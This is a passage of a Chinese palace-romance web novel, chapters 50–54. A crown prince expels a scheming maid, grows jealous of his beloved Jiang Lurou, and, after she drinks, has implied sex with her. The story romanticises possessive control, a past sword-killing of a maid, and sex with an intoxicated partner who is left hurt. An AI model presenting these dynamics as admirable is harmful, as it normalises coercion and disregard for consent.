她就是那夜殿下救下的那名女子,只是不知为何她会来宫中做事。 “那夜想必你也受了不少惊吓吧?”江露染的声音含着真诚的关切。 沈兰心有些受宠若惊,没想到这位江姑娘竟然还能记着自己。 她倒是不希望与她产生过多的情谊,毕竟她们可是竞争的关系。 “回姑娘,回去之后我就好好休息了几日,现在已经完全无事了。”她眉眼低垂,语气平静,看样子是真的走出来了。 “为何你会来宫中做事?” “回姑娘,奴婢本来就是要进宫做宫女的,那日只不过是上街逛个灯会,却没有想到碰到刺杀,奴婢还要多谢姑娘和殿下的救命之恩。” 原来是这样。 江露染重新拿起茶盏,手腕轻轻晃动,茶盏中清亮的茶汤也跟着一起晃动。 她唇边露出一抹微笑,看上去有些狡黠。 “我还没问过你的名字?” “回姑娘,奴婢沈兰心。” “兰心,你上前一步。” 沈兰心内心疑惑,但还是依言起身,走到江露染面前,她微微抬眸看向这位人人口中不愿多谈的江姑娘。 那日夜色很重,她又处于惊惶之中,多余的精力都用来看太子殿下了,是以并没有多留意这位江姑娘。 今日一见,她才惊觉,这位江姑娘容貌倒是极为美丽,说是倾国倾城也不为过。 饶是她一向自诩美貌,在这位江姑娘面前,也差了几分。 心中正在惊叹,好像她遇到了一个极其难对付的对手,忽然看见面前多了一只茶杯,江露染笑意盈盈:“兰心姑娘,麻烦你帮我尝尝这茶的味道。” 沈兰心神色微愣,但很快反应过来,想起翠竹说的话,明轩阁除了帮江姑娘擦拭书架,还要帮她品尝茶的口味。 应当不是看出她的心思要害她。 不就是一杯茶,沈兰心利落地接过茶盏,而后痛快地饮了一口,下一瞬,她就愣在原地,神色凝滞,茶水的味道逐渐蔓延开来,很苦很涩,还带点酸的味道。 有些难以忍受。 沈兰心的第一反应就是要将茶水吐出来,可是面前的人是明轩阁的主人,理智又让她硬生生地咽了下去。 虽说强迫自己咽下了茶水,可是脸色总归是不太好的。 沈兰心刚想调整一下自己的表情,她毕竟如今是自己的主上,忽然感觉手上一空,茶杯已经被江露染拿走。 江露染有些懊恼:“看来还是不行。” 她在配置茶水一事上的确没什么天分。 “是不是很难喝?” 沈兰心还在想要如何回答她的话,江露染已经颓败地自问自答。 “兰心姑娘还是别说了,我知道一定特别难喝。” 江露染还在懊恼,门外就传来一阵轻轻的脚步声,随之而来的还有清冷的檀香。 是殿下回来了,江露染立刻放下手中的茶杯,飞奔过去扑进谢知寒的怀抱,谢知寒稳稳抱住怀中的少女,音色极其温柔。 “今日都做了些什么?” 江露染在他怀中微微抬起头,眨眨眼睛,语气有些闪躲。 “也没有做什么,就是...调了一些茶...” 谢知寒抚了抚她的头发:“不是说好不用做这些的吗?” 可是一个人在明轩阁等你回来太无聊了。 她从他怀抱中抽离,将他拉到书案边,神情有些得意:“我今日还练了字呢,殿下快来看!”语气中还有几分小小的骄傲。 谢知寒低眉去看她的字迹,果真是有了很大的进步,他毫不吝啬地夸奖:“晓晓真是厉害。” 窗外吹起一阵风,将书案上的宣纸吹落,沈兰心手疾眼快将落在地上的宣纸拾起,稳稳地放到桌案上,而后对着谢知寒福身行礼:“奴婢见过殿下。” 明轩阁的宫人一向都很知礼,尤其是特意交代过之后,更是谨言慎行,今日这名宫人倒是有点不同寻常。 似乎过于大胆了些。 谢知寒淡淡看了她一眼,语气听上去也是随意至极,只是非常简洁地让她起身。 沈兰心特意将自己的脸调整了一个角度,她知道这样的角度她是最好看的。 一定会引起殿下的注意。 她语气娇媚,腰肢柔软,显现出水一般的柔情。 “奴婢谢过殿下。” 然而谢知寒这次却连看也没有 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这可是她第一次在男子面前失利,以往哪个男子不是她笑一笑就会主动到她身边来,成为她的裙下之臣。 但是今天却是实实在在出了一个意外。 眼看谢知寒并没有想要继续的意思,沈兰心也只好去了门外侍立,门外天光大亮,而她却感觉到彻底的屈辱。 谢知寒缓缓在笔上再次写了一个“晓”,连起来刚好是她的名讳。 他的字凌厉而有锋芒,与她的字完全不一样。 沈兰心侍立在门外,可以听到殿内的声音。 少女声音娇俏,男子的声音温柔至极,像一方上好的美玉,两种声音逐渐交织在一起,形成某种美好的韵律。 而她被完全排斥在韵律之外,完全不被人喜欢。 这几乎是她平生以来第一次遇到。 心底里有种不甘心的情绪逐渐向上,而后蔓延至全身,她指尖深深陷入掌心,叫嚣着她不甘心被忽视,不甘心被厌弃。 这绝对不是她最终的结局。 当值回去,翠竹向她表示感谢,说喝了她的药茶感觉已经好多了。 沈兰心淡淡地回复没事,翠竹看出她面色不太好,试探着问是不是今日遇到了什么事情,但是不应该,江姑娘对宫人一向很好,从来没有责罚过她们。 “兰心,你怎么了?” 沈兰心坚持到桌边,给自己倒了一杯茶水,茶水甘甜,比起她在明轩阁饮下的那盏茶,味道不知好了多少。 她今日见到殿下才知晓,原来在世人眼中一向清冷寡欲,光风霁月的太子殿下,也是会如此温柔地与人相处。 只是对待无关紧要的旁人,与对待他在意之人的态度,简直就是,泾渭分明。 但一个连茶水都泡不好的女人,凭什么得到殿下的偏爱,这简直就是不可理喻。 她将茶杯放下,手上带了一点儿力气,发出重重的一声响。 翠竹有些吓到,感到莫名。 “我今日见到太子殿下了。”翠竹听到沈兰心如此说。 51. 第 51 章 遇到太子殿下那也不应该呀,殿下也是非常好的人,不怎么轻易惩罚宫人。 翠竹看着沈兰心失落无比的模样,心中不解,难道是犯了殿下的忌讳? “我清晨烧的糊涂,倒是忘记与你说一声,殿下他不喜欢宫人打扰,尤其是与江姑娘独处时,是以一般看到殿下我们都会去往殿外。” 或许就是因为这个被殿下说了几句,倒也不是什么大不了的事情。 反正喝了药茶,她的风寒就已经好的差不多了,想来明日就可以正常上值。 “兰心,今日多谢你的药茶,我已经好的差不多了,想来明日就可以正常上值,今日真是辛苦你了。”翠竹连连感谢。 沈兰心满心满眼想的都是如何才能让殿下注意到自己,好一雪今日的耻辱。 翠竹看她神色凝重,面色也不好,想来今日她一定是心情不痛快,今日她也算承了她的恩情,看兰心这模样,还是应当让她自己呆着会好一些。 翠竹看她没事便离开了她的床榻。 沈兰心自己一人想了很久,殿下今日当真对她绝情的很,但是她不相信殿下是真的忘记了她,毕竟那日还是殿下主动来救得自己。 怎么看都是对自己有情。 不可能一下子就将自己忘的如此彻底。 沈兰心思来想去,将这个错误归咎于江露染身上。 这样一个连茶水都调不好的人,空有一副漂亮的皮囊,却什么都做不好的人,真的值得殿下这样去保护她吗? 沈兰心觉得太子一定是被蒙蔽了眼睛。 她就不信,她这样的长相对着殿下表达情谊,殿下会不为所动,今日殿下的克制一定是因为江露染在身边。 如果这位江姑娘不在,那么她一定是有机会的。 沈兰心早早就开始暗自调查谢知寒在东宫的起居,终于让她等到了一个可以与他单独会面的机会。 谢知寒在廊道上行走,虽然这是在东宫,但是他一向不喜身边有其他人,是以这条廊道上只有他一个人。 他要去往书房找一张图纸。 转过一个拐角,突然与一个宫人迎面撞上,那个宫人似乎被撞得有些疼了,瘦弱的身形发颤,迅速低下身去,声音软糯:“奴婢无意冲撞殿下,请殿下责罚。” 谢知寒缓缓向后退了一步,神情漠然,他清楚的知道方才并没有用多大的力气,况且这名宫人出现的时机也太巧了些,好像是提前知晓他会过来。 特意在这里等他一样。 谢知寒幽深瞳孔变得更为冷凝,东宫规矩一向严明,还从来没有过宫人敢如此明目张胆的算计他。 将自己的心思外放的如此明显,这个人不知该说她胆子大还是不想活了。 沈兰心良久都没有等到谢知寒的回复,终于忍不住抬头看了他一眼,仅仅只是一眼,就让她胆战心惊。 他的容颜仍旧是俊美无俦,京中无人可以超越,他的神情看上去也是平静淡然,面上甚至都没有什么多余的表情,可是他此时周身的气势含着无法形容的凛冽,非常肃杀。 在这一瞬间她在他眼中看到了清晰的杀意。 他甚至连一丝一毫掩饰都没有,就这样明晃晃地看过来,眼神凛冽似有冰雪。 沈兰心打了个寒颤,莫非殿下看穿了她的意图,这不可能,她做这件事极其隐蔽,就连和她同吃同住的翠竹都不知道。 殿下是断断不会知晓的。 她强自镇定下来,却忽然听见谢知寒开口,声音也带着凛冽,丝毫不留情面。 “孤记得孤以前见过你。” 殿下果然还记得。 沈兰心立刻伏倒在地:“殿下救命之恩,奴婢没齿难忘。” 谢知寒冷冷地看着她。 “孤早已对你说过,救你的人不是孤,而是江姑娘。” 谢知寒缓缓上前一步,他身上的檀香味也随之蔓延过来,沈兰心有些痴迷,若是殿下再往前一步,再往前走一步,她就可以触碰到他了。 “你此次来东宫,都是计划好的吧?” 沈兰心正处于自己的幻想之中,闻言一凛:“奴婢不敢。” 谢知寒却早已不想再看到这样的面容,之前还没有遇到晓晓时,宫中也有一些这样存了异样心思的人。 总是处处注意他的动向,而后做一些出格的行为。 他总是忍了又忍,毕竟,这也不是什么大的罪名,他也不想滥杀无辜。 最过分的尤属那次,有个宫人明明是自己与侍卫私通,被发现却将罪名胡乱说到了他的头上。 大抵是看他这个太子殿下一贯清冷,对任何事都不加以辩驳,想保护自己的情郎所以才急中生智,向初这个办法。 在宫中与人私通已是重罪,更何况事后又将罪名加到自己身上。 他也真的是忍无可忍,再也不想受到此种困扰,送到慎刑司也是折磨致死,谢知寒就用手中剑结果了宫女性命。 听上去有些骇人,但至少痛快。 从那以后,他的威信提高了很多,再也没有人来打扰过他。 直到今日,谢知寒望着眼前这个胆大至极的宫人,眼神沉沉,方才,他的确是起了杀心。 他不喜欢自己的一切被人严密地监视,更不喜欢有人心怀不轨地猜测他的喜好。 东宫最不需要的就是居心叵测的人。 谢知寒看她片刻,终于开口,定好了她的生死。 “孤不杀你,但一会儿孤就让人送你出宫,日后你都不必再进宫里。” 沈兰心一时不知自己到底哪里做错了,她本来以为今日有机会可以接近他的,但是事情的发展完全出乎了她的意料。 “殿下,奴婢不知哪里做错了,还请殿下放过奴婢吧。”她的声音在廊道中听上去很是凄凉,但是谢知寒看也没看她一眼,径直朝前走去了。 而后就有一个侍卫过来处理谢知寒命令好的事情,送沈兰心出宫去了。 她的求饶声也被淹没在了无尽的夜色之中。 谢知寒去书房拿了图纸,办好自己的事情之后就去了明轩阁。 谁也不知晓沈兰心在见谢知寒之前还去了一趟明轩阁见江露染。 沈兰心对着那个容 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仅仅是一晃神的功夫,那名胆大的女子就消失不见了,只留下江露染在原地恐慌。 如果不是今日被人提起,她似乎从来都没有想过这个问题。 她只是想她会顺理成章的陪在他身边,似乎这是一个不可更改的事实。 可是以后呢,殿下若是变成陛下,那她又该怎样呢? 江露染心中不可控制的发慌,心跳变得很快,她知道自己没有做皇后的资格,可是她又要以什么样的身份陪伴在他身边呢? 其实不要说是皇后之位,就连太子妃之位,她好像也是没有资格的。 虽然她不在乎虚名,但是她也知道,太子妃与皇后不论哪个,都是要为殿下提供助力的,可是她丝毫没有这个能力。 她能给他带来的反而是永无止境的阻力。 江露染心跳加速,这好像是她第一次开始想以后的事情,似乎并不怎么愉快。 甚至一想到殿下身边站的人不是她,她就抑制不住地难受,心脏也开始绞痛起来。 她无意识地走到花圃去看云梦花,这是殿下种植的云梦花,可是此时已是深秋,天气逐渐变冷,云梦话的花瓣也开始逐渐凋零。 江露染愣愣地看着花瓣缓缓地飘落,一朵花怎么可能会一直盛开呢? 即使这朵花真的很美,曾经令人惊艳,可它毕竟也只是一朵花,忍受不了冬天的严寒,甚至稍微有一点冷,它的叶片就开始向下掉落。 巡视东宫的侍卫正好看到这一幕,他也是最近才调来东宫的,对这里的一切才刚刚熟悉。 看着江露染对着花朵伤心的模样,以为她是明轩阁的宫女,受了主子责罚所以才一人在这里伤情。 同样都是来东宫侍奉的宫人,侍卫有些于心不忍。 他趁着同伴不注意,轻轻走到她身边,对着她安慰了两句。 谢知寒来的时候正好看到这一幕,他的晓晓和一个俊俏的男子亲密地挨在一起,那那男子甚至还在她耳畔说话,而晓晓一点避开的意思也没有。 52. 第 52 章 胸腔中传来一阵很不舒服的感觉,那种不舒服从胸腔中的一点逐渐蔓延至全身。 谢知寒在原地站了很久,仍由身侧的冷风吹过,他却一点也不觉得寒凉。 他就那样看着他的晓晓与别人亲密,这是他之前从来都没有想过的一幕。 他以为他的晓晓是只属于他一个人的。 眼看两个人仍旧非常亲密,那个侍卫仍旧在她的耳畔讲着什么,而晓晓仍旧没有任何避开的意思。 谢知寒提步缓缓上前,清冷的檀香味逐渐扩散开来,江露染手中拿着云梦花枝,手中的花束已经完全不成样子,她知晓耳边有人在跟她说些什么。 可是此时她没有任何经历去关注身边的人是谁,都与她说了些什么。 她现在没有心情关注。 耳畔漂浮的全是沈兰心在自己耳边说的话,你是在害他,你不配站在殿下身边,你没有任何资格。 字字句句,仿佛一把利刃直直的刺中心口,而她此刻的心就像手中的云梦花枝一般。 乱成一团。 直到身边传来一阵清晰的檀香味,江露染才慢慢回神,是殿下。 她不可以让殿下看到她这副样子,急忙将手中乱做一团的云梦花枝丢掉。 谢知寒看着她慌张的举止,眼眸深邃。 一旁的侍卫看到殿下,脸色一怔,没有想到会在此时见到殿下,连忙向后退了一步,对着谢知寒行礼。 谢知寒的视线却半分都没有看向他,而是直直望着面前的少女,江露染也很快调整好自己面上的表情,对着谢知寒唤殿下。 只是语气实在有些勉强。 谢知寒静静看了她半晌,眼眸中音乐闪现出深重的墨色。 空气一时凝滞,就连侍卫也觉察到有些不对劲。 只是,原因在哪里? 殿下似乎对眼前的少女十分在意,不放过她一丝一毫。 侍卫心中一凛,难道她就是东宫之中人人很少提及,但又心知肚明是殿下心尖子上的,那位江姑娘。 所有的疑问在此刻迎刃而解。 他才知道今日到底犯了一个怎样的错误,简直就是大错特错。 他去和谁搭讪不好,偏偏要去招惹这位江姑娘。 殿下不会将他逐出东宫吧,他可才刚来东宫没多久,这要是被逐出去,得是一件多么没有面子的一件事。 说不定还会影响到日后的职业生涯。 侍卫面露惊惶,此时谢知寒淡声开口,让他下去,他才放下了一口气,就听到殿下不紧不慢地继续道:“自己去领罚。” 他心中很快放下忧虑,还好,只是领罚。 侍卫很快退去,周边再无他人。 可是江露染仍旧没有抬起头来看自己。 她不知道在想些什么,看上去有些出神。 他不明白,到底有什么是他不可以知道的。 他并不觉方才那名侍卫在那么短的时间里可以搅动晓晓的心。 她明显是有什么事情在瞒着自己。 并且刻意不想让他知道。 一开始的愠怒逐渐变成了清晰的焦躁,顺着心脏的位置一路向上,直到全身上下都蔓延着一种涩意。 “晓晓。”他开口唤她。 声音低沉,像是深秋的风,有些薄冷。 江露染这才开口看向他,神情躲闪。 似乎不愿意看他。 “你有什么事要与孤说吗?” 他的声音很清晰,一字一句在风中送过来。 可是这件事怎么可以告诉他,这是她自己的事。 她缓缓摇了摇头,并没有看到谢知寒脸上的神情。 不似以往的平静与淡漠。 而是带着一阵薄薄的冷意,瞳孔中翻涌着难以言喻的墨色。 像是在生气。 江露染一向后知后觉,直到用晚膳时,她才发现谢知寒的不对劲。 他的脸色一如以往,是那看不出神情的平静与淡漠。 可江露染此时才发现殿下他好像有点不开心。 不过他也没有直说,江露染只是猜测,但她的猜测从来就没有出过任何错。 江露染又偷窥了一眼,殿下的脸色一如既往,淡淡的,看不出明显的情绪。 好像跟平时一模一样。 难道是因为自己与侍卫聊天? 不能吧,她完全没有听到那名侍卫到底在说些什么,那个时候她心里想的可都是关于殿下的事。 他总不能看到自己与他人聊天就怀疑自己吧。 殿下也不是一个这样锱铢必较的人。 她摇摇头,摒弃掉自己头脑中各种阴暗的想法。 忽然听闻耳畔声音传来,淡淡的,但江露染没来由地觉察到一阵冷意。 就好像是湖畔突然而至的一场落雪。 有些刺骨的寒凉。 “晓晓可曾记得答应过孤什么?” 江露染脑海中立刻开始回溯,她答应过殿下的事可真是太多,不知晓殿下说的是哪件事。 谢知寒指节曲起,在桌面上叩击了几下,发出轻轻的声音,帮助江露染回忆。 眼看她还没有回忆起来,时辰已经不短了。 他实在忍不住,开口提醒。 “晓晓曾经答应孤,不会过多看其他男子。” 原来是这件事。 可是她也很好的遵守了诺言,并没有看那名侍卫一眼,到现在她也不知道那名侍卫长什么样子。 她也不算失言吧。 “殿下,我没有看他。”她诚恳地向他如实道来。 没有看他但是却可以和他在一起亲密无比的讲话。 原来这就是晓晓答应他的。 这就是她对自己的承诺。 可是他当初明明不是这个意思。 他眼眸中的墨色翻涌的越来越深重,几乎算的上山雨欲来。 就连周围的空气也凝结了几分。 江露染这才意识到不对劲,连忙解释:“殿下,不是你想的那样,我不仅没有看看他,也没有听他讲话,殿下,我没有失信于你。” 此时谢知寒已经完全听不到她在讲什么,反正从她娇嫩唇瓣中讲出来的话大多都是狡辩。 他若是听了就是真正的傻瓜。 他不会再任由她一次又一次地欺骗自己。 他越发栖近她,眼神牢牢盯紧面前的少女。 不允许她逃离一丝一毫。 “晓晓今日和他都说了些什么?” 她感觉危险,一点一点向后逃离,可还是抵挡不住面前人的迫近。 她本能地反驳:“我什么都没有和他说,殿下......” 她的话还没有说完,就被面前人堵住 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翠竹擦拭着书架,心中也非常纳闷。 兰心自从那日从明轩阁服饰回来,就一直循规蹈矩,再也没有出过任何差错。 只是前日午后,好像就再也不曾见过她的人影,她也试图去找过,也问过的人都说不曾见过兰心。 这么一个大活人仿佛凭空消失了一样。 不过宫中的事情总是不可捉摸,也说不定是兰心自己不小心得罪了什么大人物,被只直接处置了也说不定。 翠竹按下心中繁复的心思。 “回姑娘,奴婢也不知道。” 那么一个明媚嚣张的人,怎么会一直看不到人影呢? 明明前些日子还在找自己挑衅。 眼看谢知寒缓缓踏入殿内,清冷的檀香味弥漫开来。 翠竹收起帕子,安静地退到了殿外。 眼看江露染仍旧有些搞不懂状况,姣好的容颜上满是困惑。 谢知寒捏过茶盏。 “在想些什么?” 连他进入殿内也没有注意到。 江露染一向藏不住心中的心思,想什么就会说什么。 “在想那位沈姑娘,最近老是看不见她。” 听到沈姑娘三个字,谢知寒眉眼中一闪而过的戾色。而对着江露染时却又完全消失不见。 “她前些日子犯了些错误,出宫了。” 他语气很淡,并不愿在此事上过多谈及。 毕竟,这个人有过一些叵测的心思。 出宫了?原来这几日一直看不到她原来是出宫了么。 那样一个张扬的女子,竟然就这样悄悄地出宫了,简直有些难以置信。 江露染暗自惊诧。 谢知寒将她面容上全部的变化尽收眼底,细白修长的手指缓缓摩梭在杯壁上,一下又一下。 “晓晓,为何想一个漠不相关的人也不看看孤?” 江露染听到磁沉的声线这才抬起头,恍然惊觉。 殿下他又吃醋了。 她明明这次想的是个女子。 殿下连女子的醋都吃。 也太小气了吧。 53. 第 53 章 谢知寒吃醋不要紧,这一吃醋就是好几天。 只要一想到晓晓在他面前想其他人,他的面色就不太好。 但是仍旧对江露染的要求予取予求。 只是面色淡淡,有些薄薄的冷意,尤其在这即将入冬的天气。 让人觉得更加冷了。 得想个办法哄哄他才好。 她以前怎么没有发现殿下是个这么明显的醋坛子。 “翠竹,你有什么哄人的好法子吗?” 哄人?莫不是江姑娘要哄殿下? 可是她看着这几日殿下虽然话少,但是也没有到要哄的地步吧? 不过也可能是两个人之间的情趣也说不定。 “江姑娘...与殿下吵架了?” 翠竹好奇,八卦之心人皆有之嘛。 “才没有!”江露染义正言辞,一副谣言止于智者的模样。 翠竹点点头,表示她懂了。 一般醉了的人都说自己没有醉。 江姑娘说没有吵架那一定就是与殿下吵架了。 “我觉得殿下这个人还是很好哄的。”虽然殿下总是看上去对什么事情都是淡淡的。 但若是江姑娘哄的话还不是手拿把掐。 “好哄...吗?”她怎么没感觉出来。 难道是最近自己和自己调制的茶水给自己喝迟钝了? 翠竹非常善意地提醒:“江姑娘想想话本子里都是怎么做的,江姑娘可以按照那个试试。” 她也只能帮到这了。 话本子。 江露染这才想起还有这个利器。 “谢谢翠竹!” 而后她很快地去翻看话本子,看着看着她的脸颊就开始泛上浅粉。 这书里讲的都是什么呀,怎么平时她都看不到这些内容,今日有需要一打开就是这些内容。 书上说:“夫妻吵架总是床头吵架床尾合。” 床头。 很显然她现在还不想做到那个程度。 不过万一这样真的可以哄好殿下呢? 就一次,应该也不打紧吧。 要不就,试一试呢。 江露染在心里给自己敲小鼓,试一试反正也不打紧,总比每日看到殿下每日对自己视而不见要好。 决定好的事情要立即去做。 首先第一步就是给自己壮胆。 江露染让翠竹给自己准备好酒水。 殿下好像对自己说过不让自己再饮酒。 但是这可是在明轩阁,少饮一点应该也没什么。 不过就是一口酒,她江露染胆子这么大还会害怕这个。 自然是拦不住她。 她举起酒盏迅速咽下一口。 不知翠竹准备的是什么酒,入口有点甜,还蛮好喝的,让她想起离开医馆那个宴席之上,饮的酒好像也是这个味道。 甘甜很快转变为难以言喻的辛辣,顺着她的脉络流淌至全身。 江露染很快感觉到天旋地转,脑海中有些晕沉。 谢知寒才踏进明轩阁,就闻到殿内清甜的果酒香味,他的眉头才刚刚皱起来,怀中就多了一个人影。 是江露染。 且还是明晃晃地投怀送抱。 谢知寒一愣,两人距离如此之近,他自然可以闻到她身上的果酒香味。 虽然只有一点点,但是很清晰。 他有些无奈。 “不是说不许饮酒。” 他的声音清朗,像是泠泠的雪落。 江露染听到他的声音瞬间回神,虽然脑海中反应仍旧很慢。 “殿下...你回来了?”她的语气有显而易见的雀跃。 谢知寒很不想理怀中的酒鬼。 她现在应该喝一杯醒酒汤,然后好好睡一觉。 然而少女的指尖却紧紧握着他的袖子,一刻也不松手。她的嗓音软而甜,像是刚刚做好的栗子糕。 带着沁人心脾的味道。 她逐渐栖近他,鼻尖蹭着他的脸颊,他可以闻到她发丝的香味。 是一种不同于果酒的甘甜味道。 她的声音也带着一种魅惑。 “殿下,可以不生我的气了吗?” 一字一句,像是乞求。 在烛火的映衬之下,她的瞳仁极为明亮,清晰的倒映着他的影子。 眼见他好久都不回答,她逐渐在他怀中扭来扭去。 像是不安分的猫。 在他怀中毫无威胁地亮着自己的尖尖牙齿。 谢知寒总是对这样的她束手无策。 他将她抱到床榻之上,理好她的衣裳。 声音无奈至极:“晓晓,你喝醉了知不知道?” 她的眼神透露出懵懂。 “我才没有喝醉,殿下就会骗人。” 说着她不顾他的阻拦,一把撩起床帐,跑到屏风面前。 轻轻地旋了个身,裙摆像扇面一样在他面前缓缓打开,而后她解开了外衫,随意地扔在一旁,露出里面的小衣,重新走到他怀里,两只手扶在他的腰侧,柔若无骨。 她整个人像水一样在他面前化开。 谢知寒指骨收紧,喉结滚动,开口声音有些哑:“...谁教你的?” 不教点好的。 江露染眨了眨眼睛,两只大眼睛透露出迟缓的迷茫。 这个还用教吗?当着别人的面这样做多羞耻。 “话本子里是这样写的呀,殿下...” “不喜欢?” 话本子里莫不是骗她的,以后再也不看那些了。 谢知寒抱着她纤细腰肢的手指逐渐收紧,眸中墨色翻涌。 按理说,到了这个时候应该有些其他的反应,可是殿下他还没有动静。 可见话本子果然都是骗人的,亏她还认认真真看了一下午。 她动了一下,想逃离开他的怀抱。 却被他重新按在怀中,她感觉到他的指尖有些发烫。 而后,她听到他低声呢喃。 “以后再也不许你饮酒。” 她眨了一下眼睛,不明白这和饮酒有什么关系。 明明一切都是话本子的错。 他稍稍动了一下,有些悬空,她生怕掉下去,越发抱紧了他的手臂。 而这一举止无疑又是给谢知寒添了一把火。 帐幔被他拉了下来。 好久之后,各种声音才逐渐平息了下来。 谢知寒看着眼前早已沉睡的少女,眸色深深。 以后再也不许她饮酒,可不是他一时兴起说的玩笑话。 次日晨起,江露染浑身酸疼,稍微动一动就觉得难受,简直就要起不来。 翠竹立即过来,对着她道:“姑娘快歇着吧,殿下说了,今天姑娘可以一整天都不用起床。” 江露染面色染上羞赧,昨夜的事情很快回到脑海,但其实她记得也不是很清晰。 就是记得自己饮了一杯酒,好 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她深深看她一眼,脸上的表情很是有些八卦。 “我倒是不知一向知礼的殿下和谨慎的江姑娘,原来也会如此放肆,不知节制,可怜我们的江姑娘,都日上三杆了还是起不来,真是可怜啊。” 眼看祝盈说的越来越过分,江露染连忙打断她。 “够了,不要再说了。” 祝盈很快就知道她是在害羞,也不再打趣她。 她四周看了看,江露染感到有点奇怪。 “七公主,你在找什么?” “我听说东宫来了一位容貌绝美的宫人,所以今日特地过来看看。” 容貌绝美的宫人,说的一定是沈兰心吧。 想到沈兰心,江露染眉眼瞬间又低迷下来。 “她出宫了?” 出宫了?祝盈本来还想调侃一番,不会是知道她今日要来,所以那宫人才提前走了。 可是一看到江露染瞬间低沉下来的眉眼,祝盈很快意识到这件事或许没有这么简单。 “这个人怎么了?” 江姑娘一向脾气好,所以那人一定不会是得罪了她。 而在这东宫之中可以调离宫人的也就只有谢知寒,那个宫人一定是得罪了谢知寒,所以才被驱逐出宫。 而那个宫人容貌又是绝美,所以祝盈很快猜到事情始末。 一定是那个宫人想勾引太子,反而被太子识破,所以才会被送出宫去。 “江姑娘,是不是她与你说了什么?” 气焰嚣张的妾侍在正室面前大放厥词,这种事情即便在昌顺发生的也很多。 “不管她说了什么,你都千万别把它放在心上,你想想,她的目的就是想让殿下和你都不痛快,你若是当了真,她的计划不就得逞了?千万别这样。” 江露染想了想,也是,沈兰心或许也就是随便讲的几句话,来让她不痛快罢了。 她为何还要遂她的心意。 这样真是太不值得了。 她的事情还要让七公主来点明,江露染觉得有些不好意思。 “真是多谢七公主。” “这有什么,就当是我给你和殿下的赔罪好了。” 她指的自然是那次药茶事件。 54. 第 54 章 七公主还是这么的...哪壶不开提哪壶。 江露染有些汗颜,祝盈没有感受到江露染略显不适的神色,脸上带着八卦的神色越发靠近她。 “我方便问一下,你和殿下...现在进展到哪一步了?” 江露染:“...这个恐怕不太方便回答。”她果断地拒绝了她的要求,虽说她也是一个不拘小节的人,但是比起七公主来说还是有过之而无不及。 祝盈面上一副我懂的意思,不就是害羞了吗,她可真是太懂了。 看她此时的神情,即使不说她也可以猜到到底进展到了何种程度。 不得不说,这进度简直比自己还要猛啊。 看来,她也得加快进度了。 可惜,谢衡那个人,自己每次想与他有点亲密举止,他就会义正言辞地拒绝自己,说是婚前如此行为简直就是太不妥了。 不合礼数。 祝盈简直就想把不合礼数四个字拍在他身上。 看看他皇兄,多么会思辨,这个脑子呆呆的人怪不得争不过他。 手下败将,果真是有其原因。 “七公主今日来为了什么?” “本公主没事就不能来看看你?”她看她一眼,眼中闪过一丝恍然大悟:“还是你就想看太子殿下,眼中根本看不得其他人?不是吧,江姑娘,你竟然是这样的人。” 她啧啧了两声,语气中颇有些信不过的意思。 江露染哪里及得上七公主的嘴上功夫。 “七公主说到哪里去了?” 祝盈与江露染调笑半天,才说出此行目的。 “我今日来,是想与你学习刺绣功夫。” 刺绣?为何突然想学这个? 祝盈有些不好意思:“你们大胤不是非常喜欢绣花,我看好多人之间都是女子赠送男子香囊。” 原来是想给谢衡送香囊,江露染很快了然。 可是她的刺绣功夫也非常一般,更不要提教人了。 尤其还是七公主,谢衡不知看过多少精致的绣工,若是自己教给七公主的绣法那样普通,恐怕丢人的就不是她一个了。 江露染将事实如实告知。 祝盈豪迈道:“没关系,我就只想让你教,别人的再好我还看不上呢。” 她缓缓补了一句:“若是谢衡胆敢嫌弃我的绣工,看本公主怎么惩罚他。” 非常自信且言之凿凿的模样。 既然,七公主说没有问题,那么她就斗胆接下这个任务。 只不过,今日恐怕不太行。 今日实在是,有些不太方便,她甚至都下不了床。 “那就三日后吧,七公主来明轩阁,我教公主如何?” “我倒是没有什么问题,不过...” 不过什么?江露染偏头看她。 “你真的可以保证三日后可以自由下床,不会是继续这样吧?” 七公主的话别有深意,但是江露染还是听懂了。 “七公主!” 声音里除了害羞,还能听出隐约的怒意。 “不逗你了,我先走了,你好好修养,三日后见!” 临走时,祝盈还顺了一口明轩阁的茶水,仅仅只是一口,就让祝盈痛苦的面目全非,明轩阁果然是与众不同,就连这茶水的味道都是那么的...与众不同。 祝盈走了没多久,谢知寒就下了早朝,回来给她涂药。 明明那日说好不再伤害她,可是他在面对她的时候却总是失言。 一次又一次的让她受到伤害。 不过这也完全不能怪自己,毕竟昨日还是晓晓先饮的酒。 说起饮酒,日后绝对不能让她再继续饮酒,一口也不行。 每次饮了酒在自己面前行为总是那么主动,若是在旁人面前,谢知寒不能想像这个场景。 是以,在心中默默发誓,今后绝对不会让她再饮一口酒。 清冷的檀香弥漫过来,江露染想到昨日的情况感道脸上一阵发烫,立即将自己全部掩进被衾,不想看面前的人。 面前的人怎么可能会让她如愿。 他长指不顾她的阻拦将被衾拉下。 “昨日晓晓倒是不怎么害羞,今日怎么如此知羞?” 他的问话淡淡的,可是江露染仍旧在简短的语句里听到调侃。 那当然不一样,昨天是晚上,而现在,可是明晃晃的大白天。 明轩阁不知有多少宫人在看着呢。 “好了,让孤看看你的伤。” 她的皮肤非常娇嫩,昨日他没有控制好力气,一定有些伤到她。 其实江露染还是想抗争一下的,但她怎么争的过他呢。 他可是殿下。 他想涂药,就给他涂好了。 清凉的指尖点在皮肤的红痕处,很快带来舒适感,逐渐消减了疼痛。 谢知寒语气有些沉:“孤竟不知晓晓学习能力强。” 这是在说她昨日看话本子的事,殿下果然是反了旧账。 现在怎么来教训她,昨日他不是也很开心。 殿下就会欺负自己。 眼看江露染好半天没有讲话,谢知寒眸色渐深。 “晓晓,怎么不回答孤?” 她憋了半天还是讲出自己的心里话。 “殿下昨日不也一样很开心?”现在却反过来指责自己,真不是君子行为。 谢知寒眼眸微微眯起,晓晓如今倒是敢如此肆意地调侃自己。 初见之时,可不是这个样子的。 “不是说过,不许饮酒?” 他的话题转折的如此快,江露染有些没有反应过来。 殿下以前倒是说过不许自己饮酒,可昨日那不是特殊情况,她若是不主动些殿下还不知要吃醋到什么时候。 “殿下是说过不许饮酒,,但我也没想到殿下会吃醋这么久?” 吃醋。 语气还这么理所应当,看来是将所有的错都推到了自己身上。 谢知寒瞳孔翻涌的墨色逐渐加深,手中拿着的药瓶放到一旁。 他的语气听上去有些危险。 “晓晓方才说什么?” 江露染自然感觉到来自他身上的寒意,不怎么害怕,但的确感受到了一丝危险。 有些勇气说了一遍就不敢再说第二遍。 